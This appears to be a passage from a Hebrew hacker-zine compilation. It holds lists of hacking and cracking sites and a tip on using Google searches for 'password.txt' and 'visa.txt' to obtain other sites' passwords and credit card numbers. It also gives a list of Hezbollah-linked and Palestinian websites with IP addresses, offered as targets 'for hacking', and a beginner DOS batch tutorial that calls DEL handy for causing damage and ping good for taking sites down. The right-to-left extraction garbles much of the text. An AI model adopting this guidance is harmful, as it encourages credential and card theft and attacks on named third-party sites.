http://www30.brinkster.com/matrif/Frames.htm
/http://313-zine.cjb.net
/http://www.m0sad.co.il
/http://www.matrix-zine.up.co.il
/http://www.cyber-chaos.up.co.il
/http://www.israblast.vze.com

:‫אנגלית‬
/http://packetstorm.widexs.nl
/http://ossr.phpwebhosting.com
http://www.all-nettools.com/pr.htm
http://blacksun.box.sk/tutorials.html
/http://www.bombshock.com
/http://www.cyberarmy.com
http://www.dslreports.com/tests
http://64.91.238.202/evilinside/tutorials.asp
http://www.net-security.org/articles_main.php
http://www.mirrors.wiretapped.net/security/packet-
/capture/pdump/pdump/lib
http://www.guninski.com/browsers.html

494
/http://www.lookup.nl
http://www.megasecurity.org/Main.html
http://www.elfqrin.com/nqt.php
/http://www.securiteam.com
/http://users.ldproxy.com/maniac
/http://www.ussrback.com
/http://www.demcom.com
http://www.zone-h.org
http://www.intersurf.com/~materva/files.html
http://www.2600.com
/http://www.aspentech.com
http://www.engin.umich.edu/~jgotts/underground/boxes.html
/http://www.etext.org/Zines
http://www.mgmua.com/hackers/index.html
http://www.wired.com
asylum.sf.ca.us
http://www.antionline.com/index.php
/http://packetstorm.widexs.nl
http://www.crackinguniversity2000.it/hacking1.html
/http://www.protools.cjb.net
/http://pulhas.org/tools
/http://www.spychecker.com
/http://sysadmin.oreilly.com
/http://www.hackpalace.com
/http://www.oreilly.com/openbook
?http://www.informit.com/free_library/index.asp
/http://www.crackinguniversity2000.it/51pcBOOK
http://www.crackinguniversity2000.it/programming.html
/http://www.jc2k.com
http://www.planet-source-code.com/vb/default.asp?lngWId=2
http://www.gatescript.com/index.html
/http://www.designerwiz.com
/http://programmersheaven.com
/http://www.scriptsearch.com
http://www.huntingground.freeserve.co.uk/main/mainfram.htm
http://www.datenwerk.ch/evil-script1.html
/http://webfx.eae.net
/http://www.planet-source-code.com/vb
/http://www.vbcode.com
/http://www.thescarms.com
http://www.a1vbcode.com
http://www.leader.ru/secure/who.html

495
/http://atomintersoft.com/products/alive-proxy/online-proxy-checker
http://www.anonymitychecker.com/index.html
http://www.findproxy.com/index.html
/http://tools.rosinstrument.com/proxy
http://www.icdatamaster.com/a.html
/http://filext.com
http://www.flumps.org/ip/index.html
http://home.xnet.com/~efflandt/ip2host.html
/http://www.astalavista.box.sk
.http://www.gamescopyworld.com
http://www.robertgraham.com/pubs/hacking-dict.html
/http://www.astalavista.com
http://www.phrack.org
http://hackingtruths.box.sk
/http://www.blacksun.box.sk
/http://www.black.box.sk
/HTTP://WWW.NEWORDER.BOX.SK

:‫אחר‬
http://www.crackpltools.prv.pl

HFM

496
‫איך לקבל כל סיסמה או מספר ויזה‬
‫כנסו לגוגל‬
‫‪www.google.co.il‬‬
‫ותחפשו נושא כזה‪:‬‬
‫‪"inurl:"password.txt‬‬
‫נכון‪ ...‬זה יתן לכם ממש הרבה קבצים של פורומים‪/‬דטא בייס‪...‬‬
‫של כל מיני שרתים‪...‬של הסיסמאות‪...‬‬
‫תחשבו לרגע איזה לא מאובטחים כל האתרים האלה?‬
‫וזה לא שהמנלים העלו את הקבצים האלה למנוע‬
‫זה שהמנוע מחפש ומביא את כל הדטא בייס של כל האתרים‬
‫שלא שינו את הברירת מחדל!‬
‫אפשר לעשות את זה גם אם השם הזה‪:‬‬
‫‪"inurl:"visa.txt‬‬
‫או כל דבר אחר! רק תחשבו איזה לא מוגנים אתם!‬

‫‪HFM‬‬

‫‪497‬‬
IP ‫אתרי חיזבלה לפריצה ואיך משיגים‬
IP ‫להשיג‬
‫ מצטער אני לא זוכר ואז את השם של האתר‬PORT ‫ או‬PING ‫רושמים או‬
www.walla.co.il PORT/ PING : ‫למשל‬
‫חיזבללה‬
http://www.hizbollah.com - 212.27.35.65
http://www.hizbollah.org - 206.131.241.16
http://www.hezbollah.org
http://www.nasrallah.net
http://www.hizballa.org
http://www.manartv.com - 128.241.205.86
http://www.almanar.com.lb
http://www.alnoor.com
http://www.ummah.net - 217.173.79.18
http://noor2000.webjump.com
http://www.geocities.com/hizbollah2000lb
http://members.tripod.com/hizbollah2000lb
http://imamah.webjump.com
http://hizbollah.webjump.com
http://www.geocities.com/hizbforce
http://216.147.45.137
http://www.moqawama.org
http://www.p-ol.com
http://www.pecdar.org
http://www.palnet.com
http://www.paltrade.org
http://www.palestine-online.com
http://www.palestine-net.com
http://www.palestinedaily.com
http://www.ptimes.com
http://www.alquds.org
http://www.israeldefenseforce.org
http://www.israeldefenseforce.net
http://www.israeldefenseforce.com
http://www.israelbitches.com
http://www.jewwatch.com
http://www.palestine-info.net
http://www.pna.net
http://www.pna.org - 62.90.25.195
http://www.abbc.com
http://www.radioislam.org

498
HFM

499
‫‪Batch‬‬

‫‪ ?whats up every body‬הכל בסדר אחים שלי? מבואסים? מצוין!‬


‫זה בדיוק הזמן להדליק מזגן לשים על ‪ 30‬מעלות‪ ,‬לשתות כוס תה\קפה\שוקו‪-‬חם ולקרוא את‬
‫הטקסט הזה על כורסא מעור!‬

‫אז מה יש לנו היום?‬


‫ככה‪ :‬היום נתחיל בכתבת ההמשכים של שפת התכנות‪ "batch" :‬הקבצים שהיא יוצרת‬
‫נקראים "‪."batch-files‬‬
‫אם אתם חושבים שאתם מכירים את השפה הזאת ‪ -‬תדעו שאתם לא יודעים כלום!!!‬
‫בכתבות האלה אתם תבינו קצת תכנות‪ ,‬והנה החסרונות והייתרונות‪:‬‬

‫חסרונות‪:‬‬
‫* אין בשפה הזאת גרפיקה מי יודע מה‪( ...‬מה אתם רוצים? הקבצים שלה רצים על ‪)DOS 6.0‬‬

‫יתרונות‪:‬‬
‫* אחלה מורה (אני כמובן‪ )...‬שיסביר לכם צעד אחר צעד כיצד לעשות כל דבר‬
‫* השפה ממש לא מסובכת!‬
‫* לא דרושים שום תוכנות מסויומות בשביל לתכנת ‪.batch-files‬‬

‫אז אחרי ההקדמה הזאת ‪ -‬אפשר להתחיל בשיעור הראשון‪:‬‬

‫אז מה נלמד היום?‬

‫* סביבת התכנות‬
‫* פקודות בסיסיות ב‪DOS -‬‬
‫* התוכנית הראשונה שלי (כמו בכל הספרים)‬

‫^^^ סביבת התכנות ^^^‬

‫אוקי‪ ,‬בואו ניגש לעבודה ‪ -‬בשביל לעבוד בצורה נוחה פיתחו תיקייה בשם ‪ batch‬בתוך ה‪my -‬‬
‫‪( documents‬המסמכים שלי) שלכם‪.‬‬
‫תקישו לחצן שמאלי בעכבר‪ ,‬וצרו מסמך טקסט (כן‪ ,‬כן‪ ,‬טקסט) חדש‪ ,‬קראו לקובץ‪" :‬‬
‫‪."first_batch‬‬
‫זהו ‪ -‬זוהי סביבת העבודה שלכם‪.‬‬
‫בעצם קובץ ה‪ BATCH-FILES -‬הוא מיקבץ של פקודות (עם כמה הוספות חשובות) שרצות‬
‫ברגע שמפעילים את הקובץ‪.‬‬
‫בשביל שלא תיראו אידיוטים פתחו את הקובץ וכתבו בו כך‪:‬‬

‫אנא ישרו את ה‪-‬‬


‫טקסט לשמאל ע"י‬
‫לחיצה על ה‪ctrl -‬‬
‫וה‪ shift -‬השמאליים‬
‫בבת‪-‬אחת!‬
‫@‪echo off‬‬
‫‪echo dk9 is the king of the world‬‬

‫‪500‬‬
‫אחרי שכתבתם את זה ‪ -‬לחצו קובץ (‪ )file‬שמירה בשם (‪ )save as‬לא משנה מה כתוב שם‪ ,‬מחקו‬
‫את זה וכתבו בתיבה של שם הקובץ את הדבר הבא במדויק‪first_batch.bat :‬‬
‫צאו מהקובץ טקסט‪ ,‬ושימו לב שיש לכם קובץ חדש בספרייה שלכם‪ ,‬פתחו אותו ותראו מה‬
‫קרה‪...‬‬
‫נחמד‪ ,‬אה?‬

‫פקודות בסיסיות ב‪DOS -‬‬

‫אוקי‪ ,‬בואו נראה מה יש לנו פה‪:‬‬


‫‪ - DEL‬פקודה שאנחנו הולכים להשתמש בו הרבה ‪ -‬זוהי הפקודה למחיקת קובץ מסוים‪.‬‬
‫‪ - CD‬דפדוף לתיקייה אחרת‬
‫‪ - CD..‬חזרה לתיקייה הקודמת‬
‫‪ - MKDIR‬יצירת תיקייה חדשה (לדוגמא‪ "MKDIR DK9" :‬יצור תיקייה בשם ‪DK9‬‬
‫‪ - DIR‬הצגת כל הקבצים והתיקיות שבתיקייה הנוכחית‬
‫‪ - RENAME‬שינוי שם של תיקייה מסוימת (לדוגמא‪RENAME DK9.TXT :‬‬
‫‪ DK9.TXT‬ל‪)DARDAS.TXT -‬‬ ‫‪ - DARDAS.TXT‬זה ישנה את השם של‬
‫זהו‪ ,‬בערך‪...‬‬
‫עכשיו אפשר להתחיל ב‪:‬‬

‫התוכנית הראשונה שלי‬


‫בואו נלמד כמה פקודות חשובות‪:‬‬
‫‪echo@ .1‬‬
‫‪set var .2‬‬
‫‪------------------------------------------------------------------------------‬‬
‫‪------------------‬‬
‫@‪echo off‬‬
‫‪set dk9=Hello‬‬
‫‪set hacking=World‬‬
‫‪!%echo %dk9% %hacking‬‬

‫‪------------------------------------------------------------------------------‬‬
‫‪------------------‬‬

‫העתיקו את הטקסט שנמצא בין שני הקווים המקווקוים (העתיקו זאת ללא הקווים עצמם) ‪ -‬אל‬
‫קובץ טקסט חדש‪ ,‬לחצו שמירה בשם (‪ )save as‬והקלידו‪second-batch.bat :‬‬
‫הפעילו את הקובץ‪...‬‬
‫מה קרה?‬
‫זה מה שקרה‪:‬‬
‫נפתח חלון ‪ DOS‬והיה כתוב שם ‪!hello world‬‬
‫עכשיו ננסה לפענח איך זה קרה!‬
‫נתחיל מהחלק הראשון של הקוד‪:‬‬
‫‪ - @echo off‬פקודה זו‪ ,‬פשוט אומרת למחשב לא להראות את כל המקורות של הקובץ‪ ,‬נסו‬
‫להפעיל את ה‪ batch -‬ללא הפקודה ותראו מה קורה‪.‬‬

‫‪set dk9=hello‬‬
‫‪set hacking=world‬‬

‫אוקי‪ ,‬פה זה כבר נהיה מסובך‪ ,‬ישנו דבר שנקרא משתנה (הקטע על המשתנים נועד לאלה שלא‬
‫למדו שום שפת תכנות‪ ,‬אם אתה יודע מהו משתנה ‪ -‬עבור לפסקה הבאה)‪ ,‬ה"משתנה" כשמו כן‬
‫הוא ‪ -‬הוא ניתן לשינוי‪ ,‬בואו ניתן הדגמה קצרה‪:‬‬
‫אני למחשב‪ :‬קבע שבתול משתנה ‪ X‬יהיה כתוב "‪"dk9‬‬

‫‪501‬‬
‫אני למחשב‪ :‬כתוב את מה ש‪ X -‬מכיל‬
‫פעולה (מה שיקרה כתוצאה מ"התוכנה" שעשיתי)‪dk9 :‬‬
‫זוהי בדיוק הפעולה שאנו עושים ב‪:‬‬
‫‪set dk9=hello‬‬
‫‪set hacking=world‬‬

‫שימו לב‪:‬‬
‫כשאנו כותבים‪:‬‬
‫‪set dk9=hello‬‬
‫מה שהמחשב עושה זה כך‪:‬‬
‫הוא מקצה חלק מסוים בזיכרון של המחשב וקורא לו ‪ ,dk9‬אחרי זה אנו יכולים לראות את סימן‬
‫ה‪ ,"=" -‬זה אומר להכניס לקטע ‪ dk9‬שהוקצא מקודם את התוכן "‪."hello‬‬
‫החלק הבא‪:‬‬
‫‪set hacking=world‬‬
‫אותו דבר בדיוק‪ ,‬רק הפעם אנו קובעים משתנה עם שם אחר (‪ )hacking‬ועם תוכן שונה (‬
‫‪.)world‬‬
‫משחק ילדים אה‪...‬‬

‫החלק הבא שכתבנו היה‪:‬‬

‫‪!%echo %dk9% %hacking‬‬

‫מה שפה עשינו זה בדיוק כך‪:‬‬


‫אמרנו למחשב לכתוב את התוכן של המשתנה בשם ‪ dk9‬ושל ‪.hacking‬‬
‫הפקודה ‪ echo‬היא כמו הפקודה ‪ write‬בכל שפת תכנות אחרת‪ ,‬היא אומרת למחשב לכתוב את‬
‫הדבר שיבוא אחר ה‪.echo -‬‬
‫בשביל שהמחשב ידע שאנחנו מתכוונים למשתנה אנו שמים ‪ %‬בין תחילת שם המשתנה לסוף‬
‫שם המשתנה‪.‬‬
‫אם לא היינו עושים את זה זה מה שהיה יוצא לנו‪:‬‬

‫‪!dk9 hacking‬‬

‫מה שעשינו בשביל שהמחשב יזהה שה‪ dk9 -‬וה‪ hacking -‬הם משתנים ושיכתוב את התוכן‬
‫שלהם ו‪-‬ל‪-‬א את השם שלהם זה פשוט שמנו ‪ %‬בתחילת שם המשתנה‪ ,‬ו‪ % -‬בסוף שם‬
‫המשתנה‪.‬‬
‫אם אתם שמים לב ‪ -‬ישנו ! שאינו אם ‪ ,%%‬זה בגלל שלא הגדרנו את ! כמשתנה‪ ,‬אנו פשוט‬
‫רוצים שהמחשב יכתוב‪:‬‬
‫! ‪heloo world‬‬
‫| | |‬
‫ל כ כ‬

‫ל= לא משתנה‬
‫כ= כן משתנה (שגדרנו בתחילת התוכנית)‬
‫‪HaSaTaN‬‬

‫‪502‬‬
‫‪ Batch‬המשך‬
‫אחרי שלמדנו פעם שעברה כיצד לקבוע משתנים‪ ,‬אנחנו יכולים לעבור לפקודות הבאות (מומלץ‬
‫לחזור בריפרוף על המדריך הקודם)‪ ,‬הנה הפקודות שנלמד היום‪:‬‬

‫‪CALL .1‬‬
‫‪ECHO .2‬‬
‫‪FOR .3‬‬
‫‪GOTO .4‬‬
‫‪IF .5‬‬
‫‪PAUSE .6‬‬
‫‪REM .7‬‬

‫בסוף המדריך‪ ,‬תהיינה דוגמאות על כל פקודה ופקודה‪ ,‬אז על תיבהלו אם אתם לא רואים‬
‫דוגמאות באמצע המדריך‪.‬‬

‫הפקודה‪CALL :‬‬

‫כמשמעה‪ ,‬פקודה זו "קוראת" לקובץ ‪ batch-file‬אחר‪ ,‬אם סתם נריץ מתוך קובץ ‪BATCH‬‬
‫קובץ ‪ BATH‬אחר‪ ,‬מה שיקרה‪ ,‬זה‪ ,‬שהקובץ הקורא יסגר‪ ,‬והקובץ שעכשיו פועל (הקוץ שלו‬
‫קראו) ישאר פתוח‪ .‬מה שפקודת ‪ CALL‬עושה זה כך‪:‬‬
‫‪call dk.bat‬‬
‫בלה‬
‫בלה‬
‫בלה‪...‬‬

‫מה שיקרה זה‪ ,‬הקובץ שבו כתוב ‪ call dk.bat‬ישאר פתוח‪ ,‬וכש‪ dk.bat -‬יגמור את פעולתו הוא‬
‫יסגר‪ ,‬והפעולה תחזור לעשות את‪:‬‬
‫בלה‬
‫בלה‬
‫בלה‪...‬‬

‫הפקודה‪ECHO :‬‬

‫כמובן שהפקודה הזאת זוהי הפקודה להדפסת משהו (או למסך‪ ,‬או לקובץ ואפילו למדפסת)‪,‬‬
‫לדוגמא‪:‬‬
‫@‪echo off‬‬
‫‪echo dk9‬‬
‫א‪ .‬התו "@" לפני פקודה כלשהי גורם לפקודה שלא להיכתב על מסך הדוס‪ ,‬לכן‪ ,‬במקום לכתוב‬
‫לפני כל שורה @‪ ,‬ישנה את הפקודה‪:‬‬
‫@‪eho off‬‬
‫שזה גורם לכל הפקודות שלא להיכתב על מסך הדוס‪ ,‬אלא פשוט לבצע אותם בלי שיראו כלום‪.‬‬
‫ניתן לבטל את זה בשלב מסוים בתוכנית ע"י‪:‬‬
‫@‪echo on‬‬
‫וחוזר חלילה‪ ,‬אם רוצים אחרי זה עוד פעם‪:‬‬
‫@‪echo off‬‬
‫הערה‪:‬‬
‫את ה‪:‬‬

‫‪503‬‬
‫@‪echo off‬‬
‫יש תמיד לשים בתחילת תוכנית‪ ,‬לא לשים אותו באמצע!‬
‫הפקודה‪FOR :‬‬

‫על פקודה זו‪ ,‬יבואו הסברים בהמשך‪.‬‬

‫הפקודה‪GOTO :‬‬

‫אם אתם מכירים את הפונקציות ב ‪ ,C‬או את ה‪ PROCCES -‬ב‪ ,DIV -‬זה אותו דבר‪ ,‬זה‬
‫מאפשר לנו לקפוץ מקטעים שונים תוכנית למקומות אחרים‪ ,‬כמובן שאפשר לעשות "קפיצות על‬
‫תנאי"‪ ,‬דבר שיכול להיות מאוד יעיל‪.‬‬

‫הפקודה‪IF :‬‬

‫פקודה זו פועלת רק בשלושה תנאים‪:‬‬


‫‪.1‬‬
‫‪if ERRORLEVEL do-something‬‬
‫‪.2‬‬
‫‪IF "string1"=="string2" do-something‬‬
‫‪.3‬‬
‫‪IF EXIST <filename> do-something‬‬

‫הפקודה‪PAUSE :‬‬

‫כשתכתוב ‪ PAUSE‬באמצע תוכנית‪ ,‬התוכנית תעצור ותחכה להקשת מקש כלשהו‪ ,‬יעיל מאוד‪.‬‬

‫הפקודה‪REM :‬‬

‫ברוב התוכנות זה מסומן כך‪:‬‬


‫‪//‬‬
‫או כך‪:‬‬
‫‪/* */‬‬

‫אבל ב‪ ,BATCH -‬הערות מתחילות אם הפקודה ‪ ,REM‬כל דבר שתכתבו אחרי הפקודה הזאת‬
‫לא יופיע בתוכנית‪.‬‬
‫חשוב מאוד להשתמש בפקודה הזאת‪ ,‬כדי להסביר קטעים מסוימים‪ ,‬או פשר של שמות של‬
‫משתנים שונים‪ ,‬כי אחר כך‪ ,‬פשוט לא זוכרים מה הקטע הזה עושה בתכנית‪ ,‬אז ה"הערה"‬
‫מזכירה את זה‪.‬‬

‫‪504‬‬
: ‫דוגמאות‬

sample1.bat :‫צרו קובץ בשם‬


hello.bat :‫צרו קובץ בשם‬
:‫ כיתבו‬sample1.bat :‫בתוך‬

######################

echo off@
REM this is sample1.bat
."REM this prog, calls "hello.bat

."echo we are now in "sample1.bat", and we are calling "hello.bat


*** echo
call hello.bat
*** echo
!"echo we are back in: "sample1.bat

######################

:‫ כיתבו‬hello.bat :‫ובתוך‬

echo off@
."REM this prog, just write: "hello world
."echo we are now in "hello.bat
!echo hello world
######################
:)‫ זה מה שתקבלו (תישרו לשמאל‬,sample1.bat ‫ הפעילו את‬,‫עכשיו‬

."we are now in "sample1.bat", and we are calling "hello.bat


***
we are now in hello.bat
!hello world
***
"we are back in "sample1.bat

‫ אני יסביר‬- ‫ למי שלא הבין‬,‫ שיעבור לפיסקה הבאה‬,‫ למי שכבר הבין מה הולך כאן‬,‫ עכשיו‬,‫יפה‬
:‫עכשיו‬
:‫ כתבנו‬sample1.bat :‫ב‬

echo off@
REM this is sample1.bat
."REM this prog, calls "hello.bat

."echo we are now in "sample1.bat", and we are calling "hello.bat


*** echo
call hello.bat

505
‫‪*** echo‬‬
‫‪!"echo we are back in: "sample1.bat‬‬

‫בהתחלה‪ ,‬כתבנו‪ echo off@ :‬וזה ביטל לנו את הופעת הפקודות על המסך‪.‬‬
‫מייד אחרי זה יש לנו הערות לגבי הקובץ ‪ sample1.bat‬ומה הוא עושה‪.‬‬
‫אחרי זה מובאת הפקודה ‪ echo‬שמוציאה פלט על המסך‪ ,‬מה היא הוציאה? את זה‪:‬‬
‫‪."we are now in "sample1.bat", and we are calling "hello.bat‬‬
‫וגם שורה אחרי זה יש לנו עוד פעם את ‪ ,echo‬רק שהפעם הוא כותב‪:‬‬
‫***‬
‫עכשיו הקטע היותר מעניין‪ ,‬אנחנו עכשיו "קוראים" לקובץ ‪.hello.bat‬‬
‫עכשיו תדמיינו שמיזערנו את ‪ sample1.bat‬והפעלנו את ‪. hello.bat‬‬
‫לאחר ש‪ hello.bat -‬סיים את פעולתו‪ ,‬אנחנו חוזרים ל‪ sample1.bat -‬ושם אנחנו כותבים‪:‬‬
‫‪*** echo‬‬
‫שמוציא לנו את הפלט הבא‪:‬‬
‫***‬
‫ומיד אחרי זה עוד ‪ echo‬שכותב לנו על המסך‪:‬‬
‫‪"we are back in: "sample1.bat‬‬

‫הסברים ל‪hello.bat :‬‬

‫כמו תמיד התחלנו את הקובץ ב‪:‬‬


‫@‪echo off‬‬
‫ומיד אנחנו כותבים (ע"י הפקודה ‪ )echo‬את זה‪:‬‬
‫‪we are now in hello.bat‬‬
‫‪!hello world‬‬
‫זה כל מה שהתוכנית שלנו עושה!‬

‫בתוכנית הבאה‪ ,‬אנחנו נשתמש בפקודות קצת שונות‪...‬‬


‫אז הנה הקוד מקור‪ ,‬תעתיקו אותו לתוך קובץ‪ ,‬ותשמרו אותו בשם‪:‬‬
‫‪sample2.bat‬‬

‫הנה הקוד‪:‬‬
‫@‪echo off‬‬
‫‪REM i gave the name tmp_hello.bat beacuse "tmp" is a shortcut of temprory, in‬‬
‫‪ :hebrew‬זמני‬
‫‪echo @echo Hello World > tmp_hello.bat‬‬
‫‪call tmp_hello.bat‬‬
‫‪del tmp_hello.bat‬‬

‫בהתחלת התוכנה אנחנו כותבים @‪.echo off‬‬


‫מיד אחרי זה כתבתי הערה לגבי איזה משהו‪ ,‬לא חובה לקרוא את ההערה‪.‬‬
‫עכשיו מגיע הקטע שאתם עדיין לא מכירים‪ ,‬נכון שכשדיברנו על האפשרות‪ echo :‬אמרנו‬
‫שאפשר לכתוב לתוך קובץ? יפה‪ ,‬אז זה בדיוק מה שאנחנו עושים כאן!‬
‫שימו לב טוב טוב!‬
‫‪echo @echo hello world > tmp_hello.bat‬‬
‫כמובן שהפקודה תתחיל ב‪ ,echo :‬הפרמטר הבא הוא‪ ,‬מה שאנחנו רוצים (טקסט כלשהו)‬
‫להכניס לתוך הקובץ‪ .‬והפרמטר הבא הוא מיקום הקובץ‪ ,‬לפני שאנחנו כותבים את מיקום הקובץ‬
‫יש לכתוב את הסימן‪:‬‬

‫‪506‬‬
‫<‬
‫הערה‪:‬‬
‫במקרה שאין כזה קובץ‪ ,‬יווצר קובץ חדש‪ ,‬ויוכנס לתוכו מה שאמרנו ל‪ sample2.bat :‬להכניס‬
‫לתוכו‪.‬‬
‫בשלב הבא של התכנית‪ ,‬אנחנו "קוראים" (‪ )call‬לקובץ שיצרנו‪.‬‬
‫ומיד אחר מכן אנחנו מוחקים את הקובץ‪ ,‬לכן קראנו לו‪ , tmp_hello.bat :‬בגלל ש‪= tmp -‬‬
‫זמני‪....‬‬
‫אתם יכולים למחוק את השורה האחרונה (‪ del tmp_hello.bat‬שמוחקת את הקובץ שיצרנו)‪,‬‬
‫ואז כשתפעילו את הקובץ‪ ,‬אתם תראו בתיקייה שבא הפעלתם את הקובץ‪ ,‬קובץ חדש בשם‪:‬‬
‫‪tmp_hello.bat‬‬

‫התוכנית הבאה‪ ,‬די דומה לתכנית הקודמת‪ ,‬אבל מראה לנו את ההבדל בין‪ < :‬ל‪.<< :‬‬
‫העתיקו את זה לתוך קובץ בשם‪sample3.bat :‬‬

‫@‪echo off‬‬
‫‪REM this is a bit complicated prog, read the describe on the paper‬‬
‫‪echo @echo off > hello.bat‬‬
‫‪echo echo hello world >> hello.bat‬‬
‫‪echo echo how are you? >> hello.bat‬‬
‫‪call hello.bat‬‬

‫התכנית מתחילה כרגיל ב‪echo off@ :‬‬


‫אחרי זה יש לנו הערה‪ ,‬לא חשוב בשבילנו כרגע‪.‬‬
‫עכשיו אנחנו עושים שימוש במה שלמדנו בתכנית הקודמת אנחנו יוצרים קובץ בשם ‪hello.bat‬‬
‫ומכניסים לתוכו את זה‪:‬‬
‫@‪echo off‬‬
‫(עכשיו בתוך הקובץ החדש שנוצר‪ hello.bat :‬יש לנו את הקטע הבא‪.)echo off@ :‬‬
‫אחרי יש לנו משהו חדש‪ ,‬שעוד לא הסברתי‪ ,‬עכשיו אני יסביר את ההדל בין < ל‪...<< :‬‬
‫כשאנו כותבים < ‪ ,‬שם הקובץ שנכתב אחרי הסימן הזה נוצר‪ ,‬או אם הוא קיים הוא נמחק לגמרי‬
‫ונוצר קובץ חדש‪ ,‬באותו שם שבתוכו כתוב את מה שבא לפני ה‪.< :‬‬

‫כשאנו רוצים להוסיף שורה בקובץ מסוים‪ ,‬אנו משתמשים ב‪<< :‬‬
‫ה‪ << :‬מוסיף לקובץ הקיים את מה שכתבנו לפני‪ ,‬לכן אפשר להשתמש ב‪ << :‬רק כשיש קובץ‬
‫קיים כלשהו‪.‬‬

‫נחזור לתכנית שלנו‪:‬‬


‫אחרי שבשורה הקודמת יצרנו את ‪ hello.bat‬וכתבנו בתוכו @‪ echo off‬אנחנו מוסיפים לו שורה‬
‫ע"י‪:‬‬
‫‪echo echo hello world >> hello.bat‬‬
‫הוספנו את השורה‪:‬‬
‫‪echo hello world‬‬
‫לתוך‪:‬‬
‫‪hello.bat‬‬

‫בשורה הבאה אנחנו מוסיפים עוד שורה ל‪ ,hello.bat :‬הפעם את השורה הזאת‪:‬‬
‫‪?echo how are you‬‬

‫הערה‪:‬‬
‫יש לזכור שעדיין לא הראנו למשתמש שום דבר על המסך‪ ,‬הכל נעשה בלי ידיעת המשתמש!‬
‫הוא לא רואה כלום‪ ,‬רק יצרנו קובץ (‪ ,)hello.bat‬וכתבנו בו‪:‬‬

‫‪507‬‬
‫@‪echo off‬‬
‫‪!echo hello world‬‬
‫‪?echo how are you‬‬

‫הדבר הבא שאנחנו עושים בתכנית זה לקרוא לקובץ שיצרנו בעמל רב כל כך ע"י הפקודה‪:‬‬
‫‪call hello.bat‬‬
‫עכשיו יופיע לנו כל מה שהכנסנו לתוך ‪!hello.bat‬‬

‫‪HaSaTaN‬‬

‫‪BATCH‬‬
‫טוב‪ ,‬אז מה זה קובץ אצווה?‬

‫‪508‬‬
‫קובץ אצווה זה קובץ עם סיומת ‪( bat‬לא כמו תחת באנגלית‪ ...‬אל תדאגו‪ ,‬גם זה‬
‫יגיע‪ .)...‬עכשיו‪ ,‬היום אנחנו הולכים לתכנת לנו כמה דברים‪ ...‬נתחיל בעצם‬
‫מפקודות בסיסיות של ‪ .Ms-Dos‬קודם כל כנסו לתפריט "התחל"‪ ,‬ואז ל‪" -‬הפעלה"‪.‬‬
‫תכתבו שם את המילה ‪ Command‬כדי לפתוח חלון ‪ Ms-Dos‬חדש‪ .‬הנה הפקודות‪:‬‬
‫‪ - cd.. )1‬מחזיר אותנו תיקייה למעלה‪ .‬חלק חשוב מדיפדוף בדוס‪ ,‬חלק הרבה‬
‫פחות חשוב לנו כרגע‪...‬‬
‫‪ )2‬תיקייה ‪ - cd +‬מכניס אותנו לתיקייה או לתת סיפרייה חדשה‪ .‬למשל‪ ,‬אם‬
‫אנחנו בכונן ‪ ,C‬ואנחנו רוצים מאוד מאוד להכנס לתיקייה ‪ ,Windows‬אז‬
‫נכתוב ככה‪( Cd Windows :‬ואז נלחץ על אנטר)‪.‬‬
‫‪ - dir )3‬מראה את כל התיקיות והקבצים בתיקיה הנוכחית‪ .‬למשל‪ ,‬אם אתם בכונן‬
‫‪ ,C‬ותכתבו ‪ ,dir‬ותלחצו על אנטר‪ ,‬יהיו כתובים לכם כל התיקיות והקבצים‪,‬‬
‫יחד עם עוד קצת אינפורמצייה (גודל הקבצים‪ ,‬סיומות וכאלה)‪.‬‬
‫‪ - << )4‬כתיבה לקובץ‪ .‬כנסו לכונן ‪( C‬בעזרת פקודת ‪ .)Cd..‬כתבו ככה‪:‬‬
‫‪ dir >> Fuck.txt‬ואז לחצו על אנטר‪ .‬זה בעצם אומר למחשב לקחת את הפקודה‬
‫‪ ,dir‬שמראה את הקבצים והתיקיות ולשים את התוצאה בקובץ ‪ .Fuck.txt‬בגלל‬
‫שאנחנו בתוך כונן ‪ ,C‬ולא באף תת סיפרייה או תיקייה אחרת‪ ,‬אז הקובץ‬
‫יהיה בתוך כונן ‪ .C‬תצאו מ‪ Ms-Dos -‬ע"י כתיבת המילה ‪( Exit‬ולחיצה על‬
‫אנטר‪ .)...‬אתם בוינדואוז כמובן‪ ...‬כנסו לקובץ שיצרנו (‪.)C:/Fuck.txt‬‬
‫ראיתם? יופי!‬
‫‪ - X: )5‬כדי לעבור כונן‪ ,‬תכתבו ככה‪ ,‬אבל במקום ‪ X‬תכתבו את אות הכונן‪.‬‬
‫‪ - Cls )6‬תכתבו את זה כדי לנקות את המסך מהבולשיט הקודם‪ .‬אני חושב ש‪Cls -‬‬
‫זה קיצור של ‪ ,CLean Screen‬אבל אני לא בטוח‪ .‬לא משנה‪ ,‬העיקר שיש פקודה‬
‫חדשה שבעצם לא נותנת כלום‪.‬‬
‫‪ - Del )7‬למחוק קובץ‪ .‬מאוד מאוד מאוד שימושי לאלה שרוצים לגרום נזק‪.‬‬
‫‪ - Ping )8‬טוב מאוד להפלת אתרי אינטרנט‪ .‬אל תנסו עכשיו‪ ,‬אחר כך אני אראה‬
‫לכם מה זה לעזאזל‪ ,‬אבל בת'כלס קל לתפוס אתכם אחרי זה‪...‬‬

‫טוב‪ ,‬אם הבנתם אז בואו נמשיך לפקודות חוץ‬

‫פקודות חוץ הם פקודות שמשפיעות על המערכת ועל הפלט בתוך קובץ אצווה‪ .‬טוב‪,‬‬
‫אז הנה הפקודות שתצטרכו‪:‬‬
‫‪ - @ECHO OFF )1‬גורם למשתמש לא לראות את כל הבולשיט של התוכנית‪ .‬מומלץ‪.‬‬
‫‪ - @ECHO ON )2‬ההפך מהפקודה הקודמת‪ ,‬לא מומלץ בכלל‪.‬‬
‫‪ - @ECHO )3‬כתיבת טקסט רגיל לתוכנית‪.‬‬
‫‪ - @PAUSE )4‬מחכה לתגובה מהמשתמש (התגובה היא בעצם לחיצה על מקש)‪ .‬פקודה‬
‫זו באה עם הטקסט ‪ Press Any Key To Continue‬או משהו כזה‪ .‬עכשיו‪ ,‬כדי‬
‫לרשום הודעה אישית ולא את ברירת המחדל המציקה הזאת‪ ,‬תעשו משהו כזה‪:‬‬
‫‪@ECHO Fuck You, And Press Any Key, Mother Fucker‬‬
‫‪@PAUSE>NUL‬‬
‫הסבר‪ :‬השורה הראשונה היא הטקסט שיהיה לפני הלחיצה על המקש של המשתמש‪,‬‬
‫והשורה השנייה מחכה ללחיצה מהמשתמש‪ .‬המילה ‪ NUL‬בעצם גורמת להעלמת‬
‫ברירת המחדל של פקודת ה‪.PAUSE -‬‬

‫אוקי‪ ,‬יש פקודות‪ ,‬עכשיו החלק המעשי ‪ -‬התכנות!!!‬

‫‪509‬‬
